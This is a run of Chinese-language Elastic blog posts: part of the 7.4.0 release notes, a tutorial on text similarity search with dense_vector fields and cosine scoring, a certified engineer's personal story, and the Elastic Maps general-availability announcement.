</h2><p><a href="/cn/blog/elastic-apm-7-4-0-released">在 7.4 中，我们针对 Elastic APM 中的自动测量工具装载功能加大了力度，</a>扩展了 APM 代理以便针对更常见的编程框架支持即插即用体验。最重要的一点，添加的这些内容包括 RUM 代理中的 Angular 支持以及 .NET 代理中的 .NET 框架支持，这两个代理在现有的企业应用程序中都十分常见。不仅如此，通过在 APM UI 中添加崭新的“按地理区域查看性能”细分，我们基于之前版本中引入的 RUM 地理位置数据进行构建，从而允许用户准确定位到具体地区的问题，并更快地进行故障排查。最后一点，Elastic APM UI 中的结构化筛选器可帮助分析师更快地对痕迹数据进行搜索，进而缩短解决周期时间。<a href="/cn/blog/elastic-apm-7-4-0-released">跳转至 Elastic APM 发布博文了解更多详情</a>。
</p><p>Elastic Stack 的每个新版本都能让您通过崭新方式自动监测关键基础设施和服务的健康程度。7.4 发布版本新增了支持服务以采集来自数项其他 AWS 服务（包括 Elastic 负载均衡器 (ELB)、Elastic 区块存储 (EBS) 和 CloudWatch Statistics）的指标，而且能直接从 Amazon Simple Storage Service (S3) 读取服务器日志。此版本还借助针对定时作业的额外指标增强了 Kubernetes 监测功能，并添加了崭新的 StatsD 模块以使用这一常见格式收集自定义指标。借助面向诸如 Oracle、Prometheus 和 Postgres 等数据存储的诸多新指标集合和经过改进的默认仪表板，数据库监测性能得以提升。最后一点，我们针对 IBM MQ 添加了日志分析，IBM BQ 在很多重要的企业型应用程序中都是至关重要的消息平台。跳转至 <a href="/cn/blog/elastic-infrastructure-7-4-0-released">Elastic Infrastructure</a> 和 <a href="/cn/blog/elastic-logs-7-4-0-released">Elastic Logs 发布博客</a>了解更多详情。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2649e86e49446bad/5d7bd6a61ec6f77b9b7f065c/infrastructure-7-4-0-blog-metricbeat-dashboards.gif" data-sys-asset-uid="blt2649e86e49446bad" alt="infrastructure-7-4-0-blog-metricbeat-dashboards.gif"><br>
</p><h2>Kibana 中的 PKI 身份验证
</h2><p>Kibana 的安全模块继续向前发展，让您可以通过崭新方式来安全地访问 Kibana。在发布令人难以置信的功能（例如 <a href="/cn/blog/introducing-kibana-feature-controls-curating-and-securing-feature-access">7.2 中的功能控制</a>和 <a href="/cn/blog/kibana-7-3-0-released">7.3 中的 Kerberos 支持</a>）之后，我们非常兴奋地宣布为另一个用户呼声极高的身份验证机制提供支持。在 7.4 版本中，我们现在正式支持 Public Key Infrastructure (PKI) 身份验证。对于金融、医疗保健、政府和军事行业，这类加密在我们的社区内应用十分广泛。
</p><p>尽管过去人们有可能通过代理将 PKI 身份验证和 Kibana 搭配在一起使用，但现在这些架构在 7.4 中可以进行简化。由于可为 PKI 身份验证提供原生支持，用户现在能够使用 X.509 客户端证书和双向加密系统登录 Kibana。这为通过大量崭新且安全的方式访问 Kibana 打开了大门。从一般的客户端证书授权到实体智能卡或身份证件访问权限，Kibana 都能满足您的需求。希望了解更多详情？<a href="/guide/en/kibana/current/kibana-authentication.html#pki-authentication">查看我们的文档，了解如何开始使用</a>。
</p><h2>了解详情</h2><ul>
	<li><a href="/cn/blog/elasticsearch-7-4-0-released">Elasticsearch 7.4.0 重磅发布</a></li>
	<li><a href="/cn/blog/kibana-7-4-0-released">Kibana 7.4.0 重磅发布</a></li>
	<li><a href="/cn/blog/beats-7-4-0-released">Beats 7.4.0 重磅发布</a></li>
	<li><a href="/cn/blog/logstash-7-4-0-released">Logstash 7.4.0 重磅发布</a></li>
	<li><a href="/cn/blog/elastic-observability-update-7-4-0">Elastic Stack 7.4 中的可观察性更新</a> </li>
	<li><a href="/cn/blog/elastic-siem-7-4-0-released">Elastic SIEM 7.4.0 重磅发布</a></li>
	<li><a href="/cn/blog/elastic-maps-7-4-0-released">Elastic Maps 7.4.0 重磅发布</a></li>
</ul>

blog-banner-7-4-0-released-stack.png

blog-thumbnail-7-4-0-released-stack.png

Elastic Stack 7.4.0 Released

Elastic Stack 7.4.0 重磅发布

了解如何在 Elasticsearch 中对时序型数据执行查询，包括一些有关聚合和分组的技巧和窍门。

metrics-blog-banner.png

blog-thumb-release-metrics.png

Querying and aggregating time series data in Elasticsearch

在 Elasticsearch 中对时序型数据进行查询和聚合

本文探究了如何使用文本嵌入和 Elasticsearch 新的 dense_vector 类型来支持相似度搜索。

<p> 从最初作为一个<a href="/about/history-of-elasticsearch">菜谱搜索引擎</a>开始，Elasticsearch 的设计宗旨始终是提供快速且强大的全文本搜索体验。由于这些是我们的根本，所以提升文本搜索效果一直深深激励着我们继续从事向量方面的工作。在 Elasticsearch 7.0 中，我们针对高维向量推出了实验性字段类型，当前 7.3 版本则支持使用这些向量进行文档评分。
</p><p> 本文专注于一项名为文本相似度搜索的特定技术。在此类搜索中，用户输入简短的自由文本查询内容，然后系统便会基于文档与查询内容的相似度对文档进行排名。文本相似度在各种用例中都有很大用处：
</p><ul>
	<li><strong> 回答问题： </strong>如果已有一系列常见问题，则可通过文本相似度来查找与用户所输入问题相似的问题。</li>
	<li><strong>文章搜索：</strong>从一系列研究文章中，返回名称与用户查询内容紧密相关的文章。</li>
	<li><strong>图片搜索：</strong>对于由包含说明的图片组成的数据集，从中查找哪些图片的说明与用户描述相似。</li>
</ul><p>应用相似度搜索的一种直接方法是基于文档中有多少与查询相同的词语来对文档进行排名。然而，即使文档与查询内容仅有少数几个词语相同，此文档仍有可能与查询内容类似，所以更加强大的相似度概念还会考虑文档的句法和<a href="https://en.wikipedia.org/wiki/Semantic_similarity">语义</a>内容。
</p><p>自然语言处理 (NLP) 社区开发了一项名为文本嵌入的技术，该技术能够将词语和句子编码为数字向量。这些“向量表示”旨在采集文本的语言学内容，并可用来评估查询内容和文档之间的相似度。
</p><p>本文探究了如何使用文本嵌入和 Elasticsearch 的 <code>dense_vector</code>类型来支持相似度搜索。我们首先会概览一下嵌入技术，然后使用 Elasticsearch 逐步完成一个简单的相似度搜索原型。
</p><table style="background: #FFFFD2;">
<tbody>
<tr>
	<td><strong>注意：</strong>在搜索中使用文本嵌入是一个<em>复杂且不断发展的</em>领域。我们希望此篇博文可以作为您探索的起点，本文并非旨在推荐特定的搜索架构或实施方法。
	</td>
</tr>
</tbody>
</table><h2>什么是文本嵌入？</h2><p>我们深入了解一下文本嵌入的不同类型，并看看其与传统搜索方法有哪些不同。
</p><h3> 词嵌入</h3><p><a href="https://zh.wikipedia.org/wiki/%E8%AF%8D%E5%B5%8C%E5%85%A5">词嵌入</a>模型会用密集数字向量表示一个词语。这些向量的目的是采集词语的语义属性；如果词语的向量相近，则它们在语义意义上应该相似。在良好的嵌入实践中，向量空间的方向与词语意义的不同方面密切相关。举例说明，“加拿大”的向量可能在一个方向上与“法国”相近，而在另一个方向上则与“多伦多”相近。
</p><p>NLP 和搜索社区长期以来对词语的“向量表示”就很感兴趣。在过去几年，随着使用神经网络重新审视很多传统任务，人们对词嵌入的兴趣又重新高涨了起来。现已开发出一些成功的词嵌入算法，包括 <a href="https://papers.nips.cc/paper/5021-distributed-representations-of-words-and-phrases-and-their-compositionality.pdf">word2vec</a> 和 <a href="https://nlp.stanford.edu/pubs/glove.pdf">GloVe</a>。这些方法会利用大量的文本采集内容，然后检查每个词语所在的上下文以确定该词的“向量表示”：
</p><ul>
	<li>word2vec 的 Skip-gram 模型会对神经网络进行训练，以预测句子内词语周围上下文中的词语。词嵌入信息由神经网络分配给每个词语的内在权重决定。</li>
	<li>在 GloVe 中，词语的相似度取决于它与上下文中的其他词语同时出现的频率。算法会基于词语同现计数来训练一个简单的线性模型。</li>
</ul><p> 很多搜索小组会分发已针对大型文本语料库（例如 Wikipedia 或 Common Crawl）进行预训练的模型，让人们便捷地下载并将这些模型整合到下游任务中。尽管人们通常会直接使用预训练版本，但如能对模型进行调整以适应具体的目标数据集和任务，会非常有用。这通常是通过在预训练模型的基础上运行一个轻量型微调步骤来实现的。
</p><p>词嵌入经证明十分强大和有效，在 NLP 任务（例如机器翻译以及情感分类）中，目前用嵌入来代替单独词元已成为普遍实践。
</p><h3>句子嵌入</h3><p>研究人员最近开始专注的这项嵌入技术不仅能表示词语，还能表示较长的文本节段。最新方法基于复杂的神经网络架构，有时还会在训练时整合标签数据以帮助采集语义信息。
</p><p>训练完毕后，这些模型便能处理句子并针对上下文中的每个词语创建一个向量，同时还会针对整个句子生成一个向量。与词嵌入类似，目前很多模型也有预训练版本，允许用户跳过花费不菲的训练过程。尽管训练过程可能会耗费大量资源，但调用模型的过程却要轻量得多；句子嵌入模型通常速度很快，足够在实时应用程序中使用。
</p><p>一些常见的句子嵌入技术包括 <a href="https://arxiv.org/abs/1705.02364">InferSent</a>、<a href="https://arxiv.org/abs/1803.11175">Universal Sentence Encoder</a>、<a href="https://arxiv.org/abs/1802.05365">ELMo</a> 以及 <a href="https://arxiv.org/abs/1810.04805">BERT</a>。改善词语和句子嵌入技术是一个十分活跃的研究领域，之后有可能还会推出更多强大的模型。
</p><h3>与传统搜索方法的对比</h3><p>在传统的信息检索中，将文本表示为数字向量的一种常见方式是为词汇表中的每个词语分配一个维度。然后便会基于词汇表中每个字词的出现次数得出这段文本的向量。这种表示文本的方法通常称为“词袋”，因为我们只是简单地数一数词语的出现次数，而不会考虑句子架构。
</p><p>文本嵌入在以下几个重要方面与传统“向量表示”有所不同：
</p><ul>
	<li>编码后的向量比较密集，维度相对较低，维数通常介于 100 到 1,000 之间。与之形成鲜明对比的是，词袋的向量稀疏，可包含 5 万多个维度。在对语义意义建模的过程中，嵌入算法会将文本编码为较低维度的空间。理想情况下，意思相近的单词或短语最终在新的向量空间中为相似的表示。</li>
	<li>句子嵌入在确定“向量表示”时会将词语顺序考虑在内。例如，短语“tune in”可能就会映射为与“in tune”完全不同的向量。</li>
	<li>在实践中，句子嵌入通常不能很好地泛化到大的文本节段，通常只能用来表示一小段内容。</li>
</ul><h2>将嵌入技术用于相似度搜索</h2><p>假设我们有一大组问题和答案。用户可以提问，我们则希望在自己的内容集合中检索到最相似的问题，从而帮助用户找到答案。
</p><p>我们可以使用文本嵌入来允许检索相似问题：
</p><ul>
	<li>索引过程中，每个问题都会在句子嵌入模型中运行一遍，从而生成一个数字向量。</li>
	<li>当用户输入查询内容时，查询内容也会在同一个句子嵌入模型中运行一遍，并生成一个向量。为了对响应进行排名，我们要计算每个问题和查询向量之间的向量相似度。比较嵌入向量时的一种常见方法是使用<a href="https://en.wikipedia.org/wiki/Cosine_similarity">余弦相似度</a>。</li>
</ul><p><a href="https://github.com/jtibshirani/text-embeddings">此存储库</a>针对如何在 Elasticsearch 中完成这一操作给出了一个简单示例。主脚本对来自 <a href="https://github.com/elastic/rally-tracks/tree/master/so">StackOverflow 数据集</a>的约两万个问题进行了索引，然后允许用户输入自由文本查询内容以与数据集进行比较。
</p><p>我们很快将会详细讲解脚本的每一部分，但我们首先来看一些示例的结果。在很多情况下，即使查询内容和索引后的问题之间并没有很多重复词语，该方法也能够采集到相似性：
</p><ul>
	<li>“zipping up files”（文件打包）返回了 “Compressing / Decompressing Folders & Files”（对文件夹和文件进行压缩/解压缩）</li>
	<li>“determine if something is an IP”（确定某一内容是否为 IP）返回了“How do you tell whether a string is an IP or a hostname”（如何确定某个字符串是 IP 还是主机名）</li>
	<li>“translate bytes to doubles”（将字节转译为双精度）返回了“Convert Bytes to Floating Point Numbers in Python”（在 Python 中将字节转化为浮点数）</li>
</ul><h3>实施详情</h3><p> <a href="https://github.com/jtibshirani/text-embeddings/blob/blog/src/main.py">脚本</a>首先会在 TensorFlow 中下载并创建嵌入模型。我们选择的是 Google 的 Universal Sentence Encoder，但可能还有很多其他嵌入方法可供选择。脚本使用的是“原样的”嵌入模型，未经过任何额外训练或微调。
</p><p>接下来，我们创建 Elasticsearch 索引，其中包括针对问题标题和标签的映射，以及已编码为向量的问题标题：
</p><pre class="prettyprint">"mappings": {
  "properties": {
    "title": {
      "type": "text"
    },
    "title_vector": {
      "type": "dense_vector",
      "dims": 512
    }
    "tags": {
      "type": "keyword"
    },
    ...
  }
}
</pre><p>在针对 <code>dense_vector</code>的映射中，我们需要指定向量中包含的维数。对 <code>title_vector</code>字段进行索引时，Elasticsearch 会检查其中的维数是否与映射中所指定的数字相同。
</p><p>如要对文档进行索引，我们需要通过嵌入模型来将问题标题运行一遍，以获得一个数字阵列。这个阵列会添加到文档中的 <code>title_vector</code>字段。
</p><p>用户输入查询内容时，文本首先会通过同一嵌入模型运行一遍，然后存储在参数 <code>query_vector</code>中。从 7.3 开始，Elasticsearch 在其原生脚本语言中提供了一个 <a href="/guide/en/elasticsearch/reference/7.3/query-dsl-script-score-query.html#vector-functions"><code>cosineSimilarity</code>（余弦相似度）函数</a>。所以如要基于问题与用户查询内容的相似度对问题排名，我们需使用一个 <code>script_score</code>查询：:
</p><pre class="prettyprint">{
  "script_score": {
    "query": {"match_all": {}},
    "script": {
      "source": "cosineSimilarity(params.query_vector, 'title_vector') + 1.0",
      "params": {"query_vector": query_vector}
    }
  }
}
</pre><p>我们确保将查询向量作为脚本参数进行传输，从而<a href="/guide/en/elasticsearch/reference/7.3/modules-scripting-using.html#prefer-params">避免对每个新查询均重新编辑脚本</a>。由于 Elasticsearch 不允许分数为负，所以有必要在余弦相似度的基础上加一。
</p><table style="background: #FFFFD2;">
<tbody>
<tr>
	<td><strong>注意：</strong>本篇博文最初使用的是<a href="/guide/en/elasticsearch/reference/7.3/query-dsl-script-score-query.html#vector-functions">针对矢量函数的不同语法</a>，该语法可在 Elasticsearch 7.3 中使用，但在 7.6 中已弃用。
	</td>
</tr>
</tbody>
</table><h3>重要限制</h3><p><code>script_score</code>查询旨在将限制性查询包起来，并编辑所返回文档的分数。然而，我们提供了一个 <code>match_all</code>查询，这意味着此脚本会在索引中的所有文档上运行。目前 Elasticsearch 中的向量相似度有个限制：向量可用于文档评分，但不能用于最初的检索步骤。基于向量相似度提供检索支持是<a href="https://github.com/elastic/elasticsearch/issues/42326">当前工作</a>中的一个重要领域。.
</p><p>为避免扫描所有文档，也为了保持快速性能，可以用选择性更强的查询来代替 <code>match_all</code>查询。至于用哪个查询进行检索比较合适，这很可能取决于具体用例。
</p><p>尽管我们在上面看到了一些鼓舞人心的示例，但需注意很重要的一点：结果也可能造成干扰并且不直观。例如，“zipping up files”（文件打包）对“Partial .csproj Files”（部分 .csproj 文件）和“How to avoid .pyc files?”（如何避免 .pyc 文件？）也打了高分。而且，当此方法返回令人惊讶的结果时，有时用户并不知道如何对问题进行故障排查，因为每个向量成分的意义通常是不透明的，并不对应至一个可解释的概念。借助基于词语重复情况的传统评分技术，通常可以更轻松地回答“为什么这个文档的排名靠前？”这个问题。
</p><p>如之前所讲，此原型旨在作为一个示例，向您展示可以如何结合矢量字段来使用嵌入模型，其并非可直接应用于生产环境的解决方案。开发新的搜索战略时，很关键的一点是基于您自己的数据测试新方法的表现如何，确保与强大的基准（例如 <code>match</code> 查询）进行对比。您可能需要对此战略进行重大变动，然后才能实现稳健结果，这些变动包括针对目标数据集对嵌入模型进行微调，或者在纳入嵌入时尝试不同的方法，例如单词级查询扩展。
</p><h2>结论</h2><p>嵌入技术为采集一段文本的语义内容提供了一种强大方法。通过对嵌入信息进行索引并基于向量距离进行评分，我们能够借助相似度概念对文档进行排名，而不再局限于词语层面的重复性。
</p><p>我们希望能够基于向量字段类型推出更多功能。使用向量进行搜索是一个十分重要的领域，有很多细微差别。一如既往，我们欢迎您在 <a href="https://github.com/elastic/elasticsearch">Github</a> 和<a href="https://discuss.elastic.co/">论坛上</a>与我们分享您的用例和经验！
</p>

books.jpg

books_small.jpg

Text similarity search with vector fields

使用向量字段进行文本相似度搜索

查找与在 Elasticsearch 中使用同义词相关的常见问题的答案，并了解其使用过程中经常需要注意的一些事项。

synonym-power-boost-blog-banner.jpg

synonym-power-boost-blog-thumb.jpg

The same, but different: Boosting the power of Elasticsearch with synonyms

一样，却又不同：借助同义词让 Elasticsearch 更加强大

<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltd1b98558d2801d90/5d4decc40f1bec749d260b5c/first-certified-china-blog-1.jpg" data-sys-asset-uid="bltd1b98558d2801d90" alt="魏彬" style="float:left; padding-right: 20px; width: 300px;">魏彬(<a href="https://twitter.com/imrockybean">@imrockybean</a>)，Elastic 忠实粉丝，2013年开始接触Elasticsearch, 目前任职于上海普翔(Elastic中国战略合作伙伴), 担任CTO职务。
</p>
<p>大家好，我是魏彬，来自中国，很高兴今天能与大家分享下我与 Elastic 的一些故事。
</p>
<h2>与 Elastic 产品的故事</h2>
<p>我最早接触 Elasticsearch 是在 2013 年，那个时候我还在一家电商公司。当时产品需要实现一个复杂的商品搜索功能，要支持全文检索、多字段过滤以及自定义排序等多种需求。
</p>
<p>我做了一番技术调研，尝试了几个开源产品后，最终选择了 Elasticsearch，主要原因是被其设计的简洁理念所吸引。如爱因斯坦的一句名言所说：" Everything should be made as simple as possible, but not simpler. "，Elasticsearch 的设计实现完全贯彻了这一理念。
</p>
<p>我们当时的主要开发语言是 php，但主流的搜索引擎都是 Java 系的，与其他语言整合起来很不方便。而 Elasticsearch 在设计之初就考虑到了这个问题，引入 Restful API，方便其他语言接入，对开发者调试开发也极其友好，这也是它 "simple" 的一个很好例证。
</p>
<p>方案确定后，借助 Elastic 中国社区负责人 medcl 的开源项目 <a href="https://github.com/medcl/elasticsearch-rtf">elasticsearch-rtf</a>&nbsp;我快速搭建了相关集群，并用了 1 周左右的时间便实现了复杂的产品需求，打造了一个功能强大的商品搜索引擎。
</p>
<p>从此开始，我便持续地关注 Elastic 产品的发展，也不断将其应用到多样的业务场景中去解决各种复杂的难题。比如：
</p>
<ul>
	<li>应用到订单检索系统中，在 mysql 之上基于 elasticsearch 实现一个搜索的加速层，解决 mysql 在全文检索及多字段检索方面的性能问题</li>
	<li>应用到业务分析(BI)场景中，将数据实时地从 mysql 同步到 Elasticsearch 中，基于 elasticsearch 的聚合分析能力，快速地实现强大的 BI 系统，帮助公司产品及运营人员快速决策</li>
	<li>应用到运维场景中，将 Nginx、Mysql、业务系统等的指标和日志采集到 Elasticsearch 中，帮助运维和研发人员快速发现和定位问题</li>
</ul>
<p>随着使用和了解的不断深入，我越来越喜爱 Elasticsearch 及其后续加入的产品，像 Kibana、Logstash、Beats 等，也积极参与 Elastic 中国社区的建设和相关活动，发起像 <strong>Elastic日报</strong>、 <strong>ElasticTalk</strong> 等社区活动。
</p>
<ul>
	<li><strong>Elastic日报</strong>旨在收集业内优秀的 elastic 技术文章并以日报的形式分享到社区中，从 2017年 7 月 30 日至今，持续 2 年，我们已经累计发送了接近 700 篇日报，每次日报包含 3~5 篇的优质文章，为社区成员的技术成长输送了优质的养料</li>
	<li><strong>ElasticTalk</strong> 旨在以直播的形式向社区分享 elastic 的相关知识，目前已经累计举行了 20+ 次。</li>
</ul>
<p>2017 年下半年 Elastic 开始在国内投入人力，推广商业化产品，而我也在同年 8 月份加入了现在的公司普翔(PXTech)， 展开了一段新的旅程，当然也是与 Elastic 产品交织在一起的，这个下文再详细介绍。
</p>
<h2>与 Elastic 认证考试的故事</h2>
<p>Elastic 于 2018 年 6 月 29 日正式推出 Elastic Certified Engineer 认证考试，我于同年 7 月 12 日顺利通过了该认证考试，也很荣幸能成为中国第一位通过该认证考试的工程师，下图是我的认证徽章。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt307c5d3b42f0f729/5d4ded760331293861b7bc64/first-certified-china-blog-2.jpg" data-sys-asset-uid="blt307c5d3b42f0f729" alt="" style="display: block; margin: auto;">
</p>
<p>关于参加认证考试的原因很简单：
</p>
<ul>
	<li>于公，我们公司普翔是 Elastic 中国的战略合作伙伴，我们也需要向客户证明我们的技术能力，而官方的认证是最优也是最简单的途径</li>
	<li>于私，作为 Elastic 产品的忠实粉丝，能得到 Elastic 官方的认可，是令人愉悦的事情</li>
</ul>
<p>Elastic Certified Engineer 认证考试是非常有难度的，因为它不同于一般的考试，全部题目都是实战操作类型，而且评分是基于 Performance 的，没有标准答案，同一个题目可能有多种解决方案，但方案之间会有优劣。以我的经验，要基本答对所有题目才可以通过考试。关于认证考试的细节，我这里不展开讲了，之前有直播分享考试的形式和内容，感兴趣的可以到如下链接去观看。
</p>
<p><br>
</p>
<div style="height: 478px; margin-bottom: 20px;">
<iframe width="100%" height="478" src="//player.bilibili.com/player.html?aid=51449470&page=1" class="video-iframe" frameborder="0" allowfullscreen></iframe>
</div>

<p>另外，我强烈建议大家去<a href="/cn/training/certification">参加认证考试</a>，因为它可以让你更系统化地去学习 Elasticsearch 的相关知识，同时也能为自己的履历增加多一个亮点，在 Elastic 产品应用越来越广泛的今天，这无疑会成为你的一个竞争优势。
</p>
<h2>与普翔的故事</h2>
<p>我在<a href="https://www.puxiangtech.com/">普翔(PXTech)</a> 担任技术负责人。我们是 Elastic 中国的战略级合作伙伴，同 Elastic 中国团队一起推广 Elastic 的商业产品和解决方案，同时我们也提供 Elastic 产品的咨询、运维和培训服务，我们的目标是成为国内最好的开源数据服务商。
</p>
<p>2017 年至今，我们聚焦在国内使用 Elastic 产品的客户上，不断打磨技术团队，提升服务水平。我们技术团队中已经有 5 名技术顾问通过 Elastic 认证考试，是国内目前拥有最多认证工程师的公司。我们的商业客户数量获得长足的发展，遍布零售、金融、证券、制造业、科技等多个领域。我们在帮助客户用好 Elastic 产品的同时，也将更多的 Elastic 解决方案带给客户，不断地为客户带去惊喜，创造实际的业务价值。
</p>
<p>比如我们零售行业的一个客户有上千家门店，每家门店都有 POS 系统用于买家结账付款。POS 系统运行的稳定性很大程度上决定了买家的购买体验。然而每次 POS 系统运行出问题的时候只能依赖门店的店员发现后主动上报，每次解决问题花费的时间都要在小时级别，这不仅使得买家购物体验大打折扣，也给客户带来很大的经济损失。我们在了解情况后，引入 Elastic 的产品栈，帮助客户实时地采集 POS 系统的指标和日志数据，打造专用的数据报表，定制告警规则。最终可以帮助客户实时地发现系统故障，不再依赖店员主动上报，同时基于采集的指标和日志，可以更快地定位故障点，将问题的解决时间控制在分钟级别。
</p>
<p>同时，我们也积极参加 Elastic 在国内举办的各项活动，比如 Elastic 开发者大会和 Elastic{ON} 等活动，参加过的同学应该对我们并不陌生，下面是活动的一些照片。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt97ec8c5c7d0243bd/5d4deda6210aaa6bcb3d9616/first-certified-china-blog-3.jpg" data-sys-asset-uid="blt97ec8c5c7d0243bd" alt="" style="display: block; margin: auto;">
</p><figcaption>2018年 11 月Elastic 中国开发者大会</figcaption>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt044cc81eeef3d6cb/5d4dedb72f1d50752b125876/first-certified-china-blog-4.jpg" data-sys-asset-uid="blt044cc81eeef3d6cb" alt="">
</p><figcaption>2019年4月Elastic {ON} Beijing</figcaption>
<p>今年 5 月份我们有幸与 Elastic CEO Shay Banon 先生面对面会谈，交流 Elastic 在国内市场的发展。Shay 对普翔过去的工作非常认可，也提供了非常好的建议和合作思路。这进一步加强和坚定了我们以 Elastic 产品为核心的开源数据服务商的发展路线，期待以后与 Elastic 更多更紧密的合作。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt04f4b0b511617ff8/5d4dedd89dc1e26bc671c6ad/first-certified-china-blog-5.jpg" data-sys-asset-uid="blt04f4b0b511617ff8" alt="" style="display: block; margin: auto;">
</p><figcaption>与 Shay 的合影</figcaption>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt720e7450feb6cbcf/5d4dedf00331293861b7bc6a/first-certified-china-blog-6.jpg" data-sys-asset-uid="blt720e7450feb6cbcf" alt="">
</p><figcaption>与 Elastic 管理团队的合影</figcaption>
<h2>最后</h2>
<p>掐指一算，与 Elastic 产品结缘已有 6 年时间，感恩遇到这个伟大的产品，也期待接下来更精彩的故事。
</p>

certification-blog-banner.png

first-certified-china-blog-thumb.jpg

The story of China's first Elastic Certified Engineer

中国第一位 Elastic 认证工程师的故事

了解 Vectorspace AI 如何利用 Elastic Stack 来查找基因、药物化合物、制药行业新闻和制药公司股价之间的相关性并加以可视化。

generating-alpha-blog-banner.jpg

generating-alpha-blog-thumb.jpg

Generating and visualizing alpha with Vectorspace AI datasets and Canvas

借助 Vectorspace AI 数据集和 Canvas 生成阿尔法并加以可视化

我们非常高兴地宣布，Elastic 地图现已正式发布，它将助您在地理空间分析方面更上一层楼！

<p>我们非常高兴地宣布，<a href="/cn/products/maps">Elastic 地图</a>现已正式发布，它将助您在地理空间分析方面更上一层楼！此前在 6.7 版本中已推出 Elastic 地图的公测版，它是一款功能强大的 Kibana 应用程序，为直观地查看 Elasticsearch 中可用的位置数据开辟了新的途径。
</p><p>在 Elastic Stack 免费的默认分发包中提供了 Elastic 地图，用户可以通过在 <a href="/cn/cloud/elasticsearch-service">Elastic Cloud 上的 Elasticsearch Service 快速部署集群</a>或<a href="/cn/downloads">下载 Elastic Stack</a> 进行体验。
</p><h2>位置数据 + 搜索：一段可以追溯的旅程 </h2><p>无论您是通过 <a href="/cn/products/apm">Elastic APM</a> 监测应用程序的区域性能，还是通过 <a href="/cn/products/siem">Elastic SIEM</a> 追踪试图攻破您网络的可疑 IP 物理位置，抑或是利用日志来近乎实时地<a href="/cn/use-cases/delhivery">监控软件包的操作可见性</a>，位置数据和搜索在许多用例中都是并驾齐驱的。
</p><p>我们的社区<a href="/cn/blog/geo-location-and-search">从一开始（0.9.1! 版本</a>）就使用 Elastic Stack 来满足其地理空间需求。作为一个数据存储，Elasticsearch 支持您以出色的相关性和速度大规模地查询海量地理数据。最重要的是，Beats 和 Logstash 都可以通过使用 geoip 处理器自动生成 IP 的物理位置，从而迅速充实日志和指标中的地理空间信息。Kibana 始终能够轻松映射位置数据，并将其与存储在 Elasticsearch 中的其他数据快速关联起来。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blta55b0643964d4b45/5d3789c25cb66453b1279c1c/02-elasticsearch-elastic-maps-suricata-events-7-3-0.png" data-sys-asset-uid="blta55b0643964d4b45" alt="02-elasticsearch-elastic-maps-suricata-events-7-3-0.png"><br>
</p><p>多年来，Elastic 一直在大力投入发展我们的地理空间能力。通过修改底层算法，使用新的 BKD 树结构，我们已针对地理数据大幅提升了 Elasticsearch 查询时间、索引时间、存储密度和内存利用率。Elastic 地图是我们在这条路上向前迈出的自然一步。今年早些时候，我们推出了 Elastic 地图的<a href="/cn/blog/elastic-maps-beta-released">公测版</a>。我们很高兴在 7.3 版本中正式发布了 Elastic 地图。
</p><p>“地理空间数据是我们很多用例中的关键部分，所以多年来，我们投入了巨大精力让用户能够更轻松快捷地对地理空间数据进行搜索。”Elastic 创始人兼首席执行官 Shay Banon 说道，“我们在此无比激动地推出一项崭新的解决方案：Elastic 地图。这个解决方案充分利用了我们既有的查询能力，可以提供更强大的交互式定制可视化图层，支持多个图层，可以放大至单份文档，还可实现其他更多功能。”
</p><h2>您的位置数据，以及其他一切 </h2><p>从坐标到国家/地区，我们只将位置当作另一个数据点。这就是我们认为将在 Elastic 地图应用中创建的地图嵌入到 Kibana 仪表板中极其重要的原因所在。从 7.2 版本开始，高度定制的多层地图可以像任何时序图、词云或保存的搜索那样添加到 Kibana 仪表板中。只需在地图上绘制一个形状，就可以过滤并将位置与数据中的所有其他属性关联起来。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt34d3f56910e64aef/5d379d2cef4fb0543504b41b/02-elasticsearch-elastic-maps-suricata-events-drilldown-7-3-0.gif" data-sys-asset-uid="blt34d3f56910e64aef" alt="02-elasticsearch-elastic-maps-suricata-events-drilldown-7-3-0.gif">
</p><h2>分类、自定义点图标和过去已知位置</h2><p>自公测版以来，我们已添加了多项功能，使用户能够更好地控制样式并与 Elastic 地图中数据进行交互。
</p><p><strong>图层分类：</strong> 根据特定的标准对图层进行分类，以基于状态（如主机正常运行时间）或阈值（如服务响应时间）启用样式等的新功能。
</p><p><strong>定制图标：</strong> 地图上的点可用各种不同的图标展示，其中大小、颜色和方向可以为静态或动态样式。
</p><p><strong>过去已知位置：</strong> 对于需要跟踪最近状态的用例，您还可以选择使用 Elasticsearch 中的“最高命中结果”聚合，只显示某一图层中给定点的过去已知位置。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2cae836aea7367f2/5d379d6ce76cd34ed38d690e/03-elasticsearch-kibana-elastic-maps-last-known-location-7-3-0.png" data-sys-asset-uid="blt2cae836aea7367f2" alt="03-elasticsearch-kibana-elastic-maps-last-known-location-7-3-0.png"></p><h2>从 GeoJSON 中上传特性、形状及其他更多信息</h2><p>在 Elastic，我们努力让产品简单易用。GeoJSON 上传功能是 Elastic 地图中的一项新的公测功能，非常契合这一主旨。通过直接采集到 Elasticsearch 中，该功能可使地图创建者将包含点、形状和内容的 GeoJSON 文件拖放到地图中，以实现即时可视化。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2c726e71cc52926d/5d379d86e76cd34ed38d6914/04-elasticsearch-kibana-geojson-elastic-maps-7-3-0.gif" data-sys-asset-uid="blt2c726e71cc52926d" alt="04-elasticsearch-kibana-geojson-elastic-maps-7-3-0.gif"></p><p>如果您只是想在地图上的某些区域添加矢量图形，<a href="/cn/elastic-maps-service">Elastic 地图服务</a>会持续向库（<a href="http://maps.elastic.co/">查看此处</a>）中添加越来越多的托管区域，以提供直接可用的体验。
